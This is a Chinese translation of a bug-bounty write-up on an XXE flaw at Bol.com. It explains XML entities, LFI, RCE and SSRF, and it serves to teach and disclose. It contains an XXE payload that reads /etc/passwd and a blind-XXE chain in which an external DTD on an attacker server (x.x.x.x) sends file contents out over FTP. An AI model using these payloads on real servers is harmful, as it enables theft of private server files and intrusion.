文章 - Bugbounty: 在Bol.com上的XXE漏洞

Bugbounty: 在Bol.com上的XXE漏洞

原文链接：https://medium.com/@jonathanbouman/xxe-at-bol-com-7d331186de54

这个漏洞的赏金不算太高，但是相比于其他人XXE漏洞，更具有代表性，漏洞猎人上传带有XXE代码的excel进行攻击。

背景

在前面的报告中，我们学到了一些关于访问者在的浏览器中进行代码执行的知识，反射型XSS，存储型XSS，服务器的错误配置和重定向等漏洞。
今天我们将仔细研究从服务器窃取私有文件。

挑选目标

一如既往，我们需要有一个好的目标。

Bol.com是荷兰最大的电子商务网站之一。他们处理我的重定向漏洞报告的方式非常好; 快速回复，正确修复并始终向我发送更新。

在开始之前，我们首先需要了解有关XXE，LFI和RCE的更多信息。在那之后我们准备好了！

XXE，LFI，RCE; 这些是什么意思？

本地文件包含（LFI）是在服务器响应中显示内部服务器文件的过程。远程执行代码（RCE）是在服务器上执行我们自己的代码的过程。

通常LFI错误会导致RCE; 有很多技巧可以用来将LFI升级到RCE；

RCE错误影响很大，因为它可能导致完整的服务器接管。尽管大多数服务器在访问受限的帐户下执行来自Web服务器的代码，但在操作系统本身中

仍然存在时不时的缺陷。允许一个人绕过此特定访问限制的缺陷，你过去可能使用过存在这种漏洞的应用，iPhone或者安卓。

这两个完美的例子都是通过利用这种漏洞来接管操作系统。我们将此类攻击特权称为升级。

XML外部实体（XXE）攻击基于扩展XML文件，以便加载本地文件和外部URL。它可能导致LFI和RCE，因此它具有很高的影响力。

虽然在 2002年被发现，但它仍然是你现在在很多网站上都会发现的一个错误。高影响力和高发生率，让我们了解更多！

可扩展标记语言（XML）

在我们继续之前，我们需要更多地了解XML。

XML是一种标记语言，允许用户创建易于被计算机和人类阅读的文档。虽然有人说它是过去的语言，但它现在仍在很多地方使用。

XML文件的示例

如果我们仔细查看该示例，我们会注意到内容将出现在标签之间，例如<body>contents</body>。因此，我们应该转义标签内的特定字符。

否则，一个人能够注入一个标签并操纵整个XML文件，没人会想要。默认情况下，XML转义<>&'"字符到实体一样<>&'"。

因此，我们仍然可以在不破坏XML文件的情况下使用字符。

XML有一个很好的功能，它允许我们通过在XML文档中包含Document类型定义（DTD）来定义我们自己的实体。查看示例图像。

自定义实体的示例

示例DTD

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY>
<!ENTITY body "Don't forget me this weekend!">
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>

利用XML解析器

但是如果解析器允许我们定义文件而不是字符串呢？结果将是实体将被文件的内容替换。通过更改

<!ENTITY body "Don't forget me this weekend!">为<!ENTITY body SYSTEM "file:///etc/passwd">一些解析器将向我们显示/etc/passwd文件的内容。

Chrome XML解析器将替换＆body; 我们定义的字符串的实体

除了LFI，一些XML解析器还允许我们加载外部URL; 只需用URL 替换file://字符串即可http://。网络服务器将请求此URL。

这可能会导致称为服务器端请求伪造的攻击; 您可以请求内部Web服务器，扫描开放端口并映射内部网络。您是否能够访问包含元数据的

本地Web服务器？恭喜你，你最终可能得到$25.000的赏金。

其他可能性是通过PHP模块直接RCE和拒绝服务攻击。

上述LFI攻击仅在我们的输入返回某处时才可行。否则我们无法读取被替换的实体。如果遇到这种情况，可以使用以下技巧来泄漏数据。

盲注XXE？通过HTTP / FTP请求外部DTD泄漏数据因此服务器会解析您的XML，但不会显示响应中的内容？

由于您可以加载外部DTD，因此您可以将自定义实体附加到此外部URL。只要URL有效，它就会加载附加了（文件）内容的URL。请注意，像#这样的字符会破坏网址。

XXEserve

一个很好的工具来捕捉我们的XXE请求是XXEserv，通过创建staaldraad。它是一个简单的FTP/HTTP服务器，显示对我们服务器的所有请求。

它还伪造了一个FTP服务器; 由于字符串中的字符，HTTP有时会失败，FTP才有效。

快速入门

在面向公众的服务器上安装

XXEserv

创建一个包含要泄漏的文件或（内部）URL的外部DTD文件（即sp2.dtd）。将xxxx替换为服务器的IP地址或主机名：

将此外部DTD文件放在XXEserv目录中。XXEserv充当公共ftp和Web服务器; 所以我们现在能够链接这个文件。

将XML有效负载发送给受害者，包括我们的外部DTD：

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">


<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>